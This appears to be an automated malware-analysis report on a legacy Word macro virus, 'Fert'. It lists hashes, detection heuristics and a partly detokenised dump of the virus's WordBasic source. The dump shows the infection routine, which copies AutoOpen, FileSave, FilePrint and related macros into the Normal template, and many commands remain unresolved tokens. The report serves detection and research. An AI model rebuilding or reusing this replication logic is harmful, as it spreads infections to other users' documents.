Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62797f79600ac342…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2012-06-14
MD5: 64592c978cd189efe554d01f15d63588 SHA-1: 76982976ee2826af67700c252999438df5fee9de SHA-256: 62797f79600ac342d7d7de1e4d87ef374c1d2014f404075d9a18566fa7166603
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers and is explicitly identified within its document body as a "RSN MACRO VIRUS Goat file". This suggests the file's primary purpose is to leverage macro execution for malicious purposes, likely for propagation. The presence of AutoOpen and AutoClose functions further supports the intent of automatic execution upon opening or closing the document.

Heuristics 3

  • ClamAV: Win.Trojan.Fert-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Fert-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1624 bytes
SHA-256: 1a05779cec8d41c8a46777747629d16657d6c036581a25e2451dbaf06f94cd0a
Preview script
First 1,000 lines of the extracted script
19 = = 29551 21349 20581 21349
MAIN
, - * vege
@cmd802b           @cmd0721 @cmd8005 13 = 24953    
25965
,       8553     = @cmd8005 13 = ,
@cmd6520 @cmd2079         = @cmd8005 13 =   28261 ,   @cmd2079          
= @cmd8005 13 = "rombolni, de szaporodni azt tud." = @cmd8005 13 =       25977  
@cmd6579 26990 , "4x4 vakcina" , 16
a$ = @cmd8025
b$ = a$ = ":AutoOpen"
@cmd80c2 b$ , "normal:AutoOpen"
b$ = a$ = ":AutoClose"
@cmd80c2 b$ , "normal:AutoClose"
b$ = a$ = ":FileSave"
@cmd80c2 b$ , "normal:FileSave"
b$ = a$ = ":FilePrint"
@cmd80c2 b$ , "normal:FilePrint"
b$ = a$ = ":FileSaveAs"
@cmd80c2 b$ , "normal:FileSaveAs" @cmd1965
MAIN
dlg @cmd0054
, - * vege
dlg
dlg = 0 dlg = 1
a$ = @cmd8025
b$ = a$ = ":AutoOpen"
@cmd80c2 "normal:AutoOpen" , b$
b$ = a$ = ":AutoClose"
@cmd80c2 "normal:AutoClose" , b$
b$ = a$ = ":FileSave"
@cmd80c2 "normal:FileSave" , b$
b$ = a$ = ":FilePrint"
@cmd80c2 "normal:FilePrint" , b$
b$ = a$ = ":FileSaveAs"
@cmd80c2 "normal:FileSaveAs" , b$
b$ = a$ = ":Fert" @cmd1965
err 102
@cmd0054 dlg
MAIN
, - * vege
@cmd802b "Ne felejtsd el:" = @cmd8005 13 =  
28005  
  8300 @cmd6579 26990 , "4x4 vakcina" , 48 @cmd1965
MAIN
, - * vege
dlg @cmd0058
dlg
dlg
@cmd0058 dlg
    @cmd1965
MAIN
dlg @cmd0054
, - * vege
dlg
dlg
dlg = 0 dlg = 1
a$ = @cmd8025
b$ = a$ = ":AutoOpen"
@cmd80c2 "normal:AutoOpen" , b$
b$ = a$ = ":AutoClose"
@cmd80c2 "normal:AutoClose" , b$
b$ = a$ = ":FileSave"
@cmd80c2 "normal:FileSave" , b$
b$ = a$ = ":FilePrint"
@cmd80c2 "normal:FilePrint" , b$
b$ = a$ = ":FileSaveAs"
@cmd80c2 "normal:FileSaveAs" , b$
b$ = a$ = ":Fert"
@cmd80c2 "normal:Fert" , b$ @cmd1965
err 102
@cmd0054 dlg

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